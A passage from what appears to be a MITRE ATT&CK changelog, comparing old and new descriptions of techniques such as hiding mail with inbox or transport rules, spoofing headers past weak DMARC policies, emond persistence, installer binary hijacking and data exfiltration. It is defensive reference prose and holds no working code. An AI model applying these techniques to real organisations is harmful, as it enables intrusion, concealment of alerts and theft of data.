| > | : Microsoft Cloud App Security) In some environments, admin | > | Microsoft Cloud App Security) In some environments, admini | ||
| > | istrators may be able to enable email rules that operate org | > | strators may be able to enable email rules that operate orga | ||
| > | anization-wide rather than on individual inboxes. For exampl | > | nization-wide rather than on individual inboxes. For example | ||
| > | e, Microsoft Exchange supports transport rules that evaluate | > | , Microsoft Exchange supports transport rules that evaluate | ||
| > | all mail an organization receives against user-specified co | > | all mail an organization receives against user-specified con | ||
| > | nditions, then performs a user-specified action on mail that | > | ditions, then performs a user-specified action on mail that | ||
| > | adheres to those conditions.(Citation: Microsoft Mail Flow | > | adheres to those conditions.(Citation: Microsoft Mail Flow R | ||
| > | Rules 2023) Adversaries that abuse such features may be able | > | ules 2023) Adversaries that abuse such features may be able | ||
| > | to automatically modify or delete all emails related to spe | > | to automatically modify or delete all emails related to spec | ||
| > | cific topics (such as internal security incident notificatio | > | ific topics (such as internal security incident notification | ||
| > | ns). | > | s). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-08-04 20:30:53.394000+00:00 | 2026-11-04 01:03:35.406000+00:00 |
| description | Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications). | Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines.(Citation: Microsoft Cloud App Security)
In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may fake, or spoof, a sender’s identity by modif | t | 1 | Adversaries may fake, or spoof, a sender’s identity by modif |
| > | ying the value of relevant email headers in order to establi | > | ying the value of relevant email headers in order to establi | ||
| > | sh contact with victims under false pretenses.(Citation: Pro | > | sh contact with victims under false pretenses.(Citation: Pro | ||
| > | ofpoint TA427 April 2024) In addition to actual email conten | > | ofpoint TA427 April 2024) In addition to actual email conten | ||
| > | t, email headers (such as the FROM header, which contains th | > | t, email headers (such as the FROM header, which contains th | ||
| > | e email address of the sender) may also be modified. Email c | > | e email address of the sender) may also be modified. Email c | ||
| > | lients display these headers when emails appear in a victim' | > | lients display these headers when emails appear in a victim' | ||
| > | s inbox, which may cause modified emails to appear as if the | > | s inbox, which may cause modified emails to appear as if the | ||
| > | y were from the spoofed entity. Enterprise environments can | > | y were from the spoofed entity. Enterprise environments can | ||
| > | use Domain-based Message Authentication, Reporting, and Con | > | use Domain-based Message Authentication, Reporting, and Con | ||
| > | formance (DMARC) as an email authentication protocol that re | > | formance (DMARC) as an email authentication protocol that re | ||
| > | ferences results of the Sender Policy Framework (SPF) and Do | > | ferences results of the Sender Policy Framework (SPF) and Do | ||
| > | mainKeys Identified Mail (DKIM) configurations. SPF and DKIM | > | mainKeys Identified Mail (DKIM) configurations. SPF and DKIM | ||
| > | are configured separately in DNS: SPF verifies that the sen | > | are configured separately in DNS: SPF verifies that the sen | ||
| > | ding server is authorized for the domain, while DKIM uses a | > | ding server is authorized for the domain, while DKIM uses a | ||
| > | digital signature to verify email integrity and domain authe | > | digital signature to verify email integrity and domain authe | ||
| > | ntication. Together, they validate email authenticity and sp | > | ntication. Together, they validate email authenticity and sp | ||
| > | ecify how receiving servers should handle authentication fai | > | ecify how receiving servers should handle authentication fai | ||
| > | lures. Without enforced identity authentication, adversaries | > | lures. Without enforced identity authentication, adversaries | ||
| > | may compromise the integrity of an authentication check wit | > | may compromise the integrity of an authentication check wit | ||
| > | h altered headers that would not have otherwise passed.(Cita | > | h altered headers that would not have otherwise passed.(Cita | ||
| > | tion: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overv | > | tion: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overv | ||
| > | iew)(Citation: Proofpoint-DMARC) An example of a weak or ab | > | iew)(Citation: Proofpoint-DMARC) An example of a weak or ab | ||
| > | sent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` | > | sent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` | ||
| > | . The `p=none` indicates no action should be taken, and ther | > | indicates no action should be taken, and therefore no filte | ||
| > | efore no filtering action will take place, even if an email | > | ring action will take place, even if an email fails authenti | ||
| > | fails authentication checks (i.e., SPF and/or DKIM fail). Wh | > | cation checks (i.e., SPF and/or DKIM fail). When a DMARC pol | ||
| > | en a DMARC policy indicates no action, the email will still | > | icy indicates no action, the email will still be delivered t | ||
| > | be delivered to the victim’s inbox.(Citation: ic3-dprk) Ad | > | o the victim’s inbox.(Citation: ic3-dprk) Adversaries have | ||
| > | versaries have abused weak or absent DMARC policies to circu | > | abused weak or absent DMARC policies to circumvent authenti | ||
| > | mvent authentication checks and conceal social engineering a | > | cation checks and conceal social engineering attempts. Adver | ||
| > | ttempts. Adversaries can alter email headers to include legi | > | saries can alter email headers to include legitimate domain | ||
| > | timate domain names with fake usernames or impersonate legit | > | names with fake usernames or impersonate legitimate users vi | ||
| > | imate users via [Impersonation](https://attack.mitre.org/tec | > | a [Impersonation](https://attack.mitre.org/techniques/T1684/ | ||
| > | hniques/T1684/001) for [Phishing](https://attack.mitre.org/t | > | 001) for [Phishing](https://attack.mitre.org/techniques/T156 | ||
| > | echniques/T1566). Additionally, adversaries may abuse Micros | > | 6). Additionally, adversaries may abuse Microsoft 365’s Dire | ||
| > | oft 365’s Direct Send functionality to spoof internal users | > | ct Send functionality to spoof internal users by using inter | ||
| > | by using internal devices like printers to send emails witho | > | nal devices like printers to send emails without authenticat | ||
| > | ut authentication.(Citation: Barnea DirectSend) | > | ion.(Citation: Barnea DirectSend) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.726000+00:00 | 2026-11-03 19:27:41.389000+00:00 |
| description | Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. Enterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) An example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim’s inbox.(Citation: ic3-dprk) Adversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via [Impersonation](https://attack.mitre.org/techniques/T1684/001) for [Phishing](https://attack.mitre.org/techniques/T1566). Additionally, adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) | Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. Enterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) An example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim’s inbox.(Citation: ic3-dprk) Adversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via [Impersonation](https://attack.mitre.org/techniques/T1684/001) for [Phishing](https://attack.mitre.org/techniques/T1566). Additionally, adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain persistence and elevate privileges by e | t | 1 | Adversaries may gain persistence and elevate privileges by e |
| > | xecuting malicious content triggered by the Event Monitor Da | > | xecuting malicious content triggered by the Event Monitor Da | ||
| > | emon (emond). Emond is a [Launch Daemon](https://attack.mitr | > | emon (emond). Emond is a [Launch Daemon](https://attack.mitr | ||
| > | e.org/techniques/T1543/004) that accepts events from various | > | e.org/techniques/T1543/004) that accepts events from various | ||
| > | services, runs them through a simple rules engine, and take | > | services, runs them through a simple rules engine, and take | ||
| > | s action. The emond binary at <code>/sbin/emond</code> will | > | s action. The emond binary at <code>/sbin/emond</code> will | ||
| > | load any rules from the <code>/etc/emond.d/rules/</code> dir | > | load any rules from the <code>/etc/emond.d/rules/</code> dir | ||
| > | ectory and take action once an explicitly defined event take | > | ectory and take action once an explicitly defined event take | ||
| > | s place. The rule files are in the plist format and define | > | s place. The rule files are in the plist format and define | ||
| > | the name, event type, and action to take. Some examples of e | > | the name, event type, and action to take. Some examples of e | ||
| > | vent types include system startup and user authentication. E | > | vent types include system startup and user authentication. E | ||
| > | xamples of actions are to run a system command or send an em | > | xamples of actions are to run a system command or send an em | ||
| > | ail. The emond service will not launch if there is no file p | > | ail. The emond service will not launch if there is no file p | ||
| > | resent in the QueueDirectories path <code>/private/var/db/em | > | resent in the QueueDirectories path <code>/private/var/db/em | ||
| > | ondClients</code>, specified in the [Launch Daemon](https:// | > | ondClients</code>, specified in the [Launch Daemon](https:// | ||
| > | attack.mitre.org/techniques/T1543/004) configuration file at | > | attack.mitre.org/techniques/T1543/004) configuration file at | ||
| > | <code>/System/Library/LaunchDaemons/com.apple.emond.plist</c | > | <code>/System/Library/LaunchDaemons/com.apple.emond.plist</c | ||
| > | ode>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri | > | ode>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri | ||
| > | emond Apr 2016)(Citation: sentinelone macos persist Jun 201 | > | emond Apr 2016)(Citation: sentinelone macos persist Jun 201 | ||
| > | 9) Adversaries may abuse this service by writing a rule to | > | 9) Adversaries may abuse this service by writing a rule to | ||
| > | execute commands when a defined event occurs, such as system | > | execute commands when a defined event occurs, such as system | ||
| > | start up or user authentication.(Citation: xorrior emond Ja | > | startup or user authentication.(Citation: xorrior emond Jan | ||
| > | n 2018)(Citation: magnusviri emond Apr 2016)(Citation: senti | > | 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentin | ||
| > | nelone macos persist Jun 2019) Adversaries may also be able | > | elone macos persist Jun 2019) Adversaries may also be able t | ||
| > | to escalate privileges from administrator to root as the emo | > | o escalate privileges from administrator to root as the emon | ||
| > | nd service is executed with root privileges by the [Launch D | > | d service is executed with root privileges by the [Launch Da | ||
| > | aemon](https://attack.mitre.org/techniques/T1543/004) servic | > | emon](https://attack.mitre.org/techniques/T1543/004) service | ||
| > | e. | > | . | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:08.766000+00:00 | 2026-11-03 21:36:45.423000+00:00 |
| description | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.
The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service. | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.
The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather employee names that can be used durin | t | 1 | Adversaries may gather employee names that can be used durin |
| > | g targeting. Employee names be used to derive email addresse | > | g targeting. Employee names can be used to derive email addr | ||
| > | s as well as to help guide other reconnaissance efforts and/ | > | esses as well as to help guide other reconnaissance efforts | ||
| > | or craft more-believable lures. Adversaries may easily gath | > | and/or craft more-believable lures. Adversaries may easily | ||
| > | er employee names, since they may be readily available and e | > | gather employee names, since they may be readily available a | ||
| > | xposed via online or other accessible data sets (ex: [Social | > | nd exposed via online or other accessible data sets (ex: [So | ||
| > | Media](https://attack.mitre.org/techniques/T1593/001) or [S | > | cial Media](https://attack.mitre.org/techniques/T1593/001) o | ||
| > | earch Victim-Owned Websites](https://attack.mitre.org/techni | > | r [Search Victim-Owned Websites](https://attack.mitre.org/te | ||
| > | ques/T1594)).(Citation: OPM Leak) Gathering this information | > | chniques/T1594)).(Citation: OPM Leak) Gathering this informa | ||
| > | may reveal opportunities for other forms of reconnaissance | > | tion may reveal opportunities for other forms of reconnaissa | ||
| > | (ex: [Search Open Websites/Domains](https://attack.mitre.org | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /techniques/T1593) or [Phishing for Information](https://att | > | .org/techniques/T1593) or [Phishing for Information](https:/ | ||
| > | ack.mitre.org/techniques/T1598)), establishing operational r | > | /attack.mitre.org/techniques/T1598)), establishing operation | ||
| > | esources (ex: [Compromise Accounts](https://attack.mitre.org | > | al resources (ex: [Compromise Accounts](https://attack.mitre | ||
| > | /techniques/T1586)), and/or initial access (ex: [Phishing](h | > | .org/techniques/T1586)), and/or initial access (ex: [Phishin | ||
| > | ttps://attack.mitre.org/techniques/T1566) or [Valid Accounts | > | g](https://attack.mitre.org/techniques/T1566) or [Valid Acco | ||
| > | ](https://attack.mitre.org/techniques/T1078)). | > | unts](https://attack.mitre.org/techniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:57.975000+00:00 | 2026-11-03 19:28:50.415000+00:00 |
| description | Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather employee names that can be used during targeting. Employee names can be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the binaries used by an installer. These processes may | > | cking the binaries used by an installer. These processes may | ||
| > | automatically execute specific binaries as part of their fu | > | automatically execute specific binaries as part of their fu | ||
| > | nctionality or to perform other actions. If the permissions | > | nctionality or to perform other actions. If the permissions | ||
| > | on the file system directory containing a target binary, or | > | on the file system directory containing a target binary, or | ||
| > | permissions on the binary itself, are improperly set, then t | > | permissions on the binary itself, are improperly set, then t | ||
| > | he target binary may be overwritten with another binary usin | > | he target binary may be overwritten with another binary usin | ||
| > | g user-level permissions and executed by the original proces | > | g user-level permissions and executed by the original proces | ||
| > | s. If the original process and thread are running under a hi | > | s. If the original process and thread are running under a hi | ||
| > | gher permissions level, then the replaced binary will also e | > | gher permissions level, then the replaced binary will also e | ||
| > | xecute under higher-level permissions, which could include S | > | xecute under higher-level permissions, which could include S | ||
| > | YSTEM. Another variation of this technique can be performed | > | YSTEM. Another variation of this technique can be performed | ||
| > | by taking advantage of a weakness that is common in executa | > | by taking advantage of a weakness that is common in executa | ||
| > | ble, self-extracting installers. During the installation pro | > | ble, self-extracting installers. During the installation pro | ||
| > | cess, it is common for installers to use a subdirectory with | > | cess, it is common for installers to use a subdirectory with | ||
| > | in the <code>%TEMP%</code> directory to unpack binaries such | > | in the <code>%TEMP%</code> directory to unpack binaries such | ||
| > | as DLLs, EXEs, or other payloads. When installers create su | > | as DLLs, EXEs, or other payloads. When installers create su | ||
| > | bdirectories and files they often do not set appropriate per | > | bdirectories and files they often do not set appropriate per | ||
| > | missions to restrict write access, which allows for executio | > | missions to restrict write access, which allows for executio | ||
| > | n of untrusted code placed in the subdirectories or overwrit | > | n of untrusted code placed in the subdirectories or overwrit | ||
| > | ing of binaries used in the installation process. This behav | > | ing of binaries used in the installation process. This behav | ||
| > | ior is related to and may take advantage of [DLL](https://at | > | ior is related to and may take advantage of [DLL](https://at | ||
| > | tack.mitre.org/techniques/T1574/001) search order hijacking. | > | tack.mitre.org/techniques/T1574/001) search order hijacking. | ||
| > | Adversaries may use this technique to replace legitimate b | > | Adversaries may use this technique to replace legitimate b | ||
| > | inaries with malicious ones as a means of executing code at | > | inaries with malicious ones as a means of executing code at | ||
| > | a higher permissions level. Some installers may also require | > | a higher permissions level. Some installers may also require | ||
| > | elevated privileges that will result in privilege escalatio | > | elevated privileges that will result in privilege escalatio | ||
| > | n when executing adversary controlled code. This behavior is | > | n when executing adversary controlled code. This behavior is | ||
| > | related to [Bypass User Account Control](https://attack.mit | > | related to [Bypass User Account Control](https://attack.mit | ||
| > | re.org/techniques/T1548/002). Several examples of this weakn | > | re.org/techniques/T1548/002). Several examples of this weakn | ||
| > | ess in existing common installers have been reported to soft | > | ess in existing common installers have been reported to soft | ||
| > | ware vendors.(Citation: mozilla_sec_adv_2012) (Citation: Ex | > | ware vendors.(Citation: mozilla_sec_adv_2012)(Citation: Exec | ||
| > | ecutable Installers are Vulnerable) If the executing process | > | utable Installers are Vulnerable) If the executing process i | ||
| > | is set to run at a specific time or during a certain event | > | s set to run at a specific time or during a certain event (e | ||
| > | (e.g., system bootup) then this technique can also be used f | > | .g., system bootup) then this technique can also be used for | ||
| > | or persistence. | > | persistence. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.641000+00:00 | 2026-11-04 01:05:09.289000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal data by exfiltrating it over a symmetr | t | 1 | Adversaries may steal data by exfiltrating it over a symmetr |
| > | ically encrypted network protocol other than that of the exi | > | ically encrypted network protocol other than that of the exi | ||
| > | sting command and control channel. The data may also be sent | > | sting command and control channel. The data may also be sent | ||
| > | to an alternate network location from the main command and | > | to an alternate network location from the main command and | ||
| > | control server. Symmetric encryption algorithms are those | > | control server. Symmetric encryption algorithms are those | ||
| > | that use shared or the same keys/secrets on each end of the | > | that use shared or the same keys/secrets on each end of the | ||
| > | channel. This requires an exchange or pre-arranged agreement | > | channel. This requires an exchange or pre-arranged agreement | ||
| > | /possession of the value used to encrypt and decrypt data.(C | > | /possession of the value used to encrypt and decrypt data.(C | ||
| > | itation: Exfiltration Over Symmetric Encrypted Non-C2 Protoc | > | itation: Exfiltration Over Symmetric Encrypted Non-C2 Protoc | ||
| > | ol) Network protocols that use asymmetric encryption often | > | ol) Network protocols that use asymmetric encryption often | ||
| > | utilize symmetric encryption once keys are exchanged, but ad | > | utilize symmetric encryption once keys are exchanged, but ad | ||
| > | versaries may opt to manually share keys and implement symme | > | versaries may opt to manually share keys and implement symme | ||
| > | tric cryptographic algorithms (ex: RC4, AES) vice using mech | > | tric cryptographic algorithms (ex: RC4, AES) vice using mech | ||
| > | anisms that are baked into a protocol. This may result in mu | > | anisms that are baked into a protocol. This may result in mu | ||
| > | ltiple layers of encryption (in protocols that are natively | > | ltiple layers of encryption (in protocols that are natively | ||
| > | encrypted such as HTTPS) or encryption in protocols that not | > | encrypted such as HTTPS) or encryption in protocols that are | ||
| > | typically encrypted (such as HTTP or FTP). | > | not typically encrypted (such as HTTP or FTP). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-02 18:30:25.080000+00:00 | 2026-11-03 19:41:54.517000+00:00 |
| description | Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.(Citation: Exfiltration Over Symmetric Encrypted Non-C2 Protocol) Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). | Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.(Citation: Exfiltration Over Symmetric Encrypted Non-C2 Protocol) Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that are not typically encrypted (such as HTTP or FTP). |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exfiltrate data to a code repository rather | t | 1 | Adversaries may exfiltrate data to a code repository rather |
| > | than over their primary command and control channel. Code re | > | than over their primary command and control channel. Code re | ||
| > | positories are often accessible via an API (ex: https://api. | > | positories are often accessible via an API (ex: https://api. | ||
| > | github.com). Access to these APIs are often over HTTPS, whic | > | github.com). Access to these APIs is often over HTTPS, which | ||
| > | h gives the adversary an additional level of protection. Ex | > | gives the adversary an additional level of protection. Exf | ||
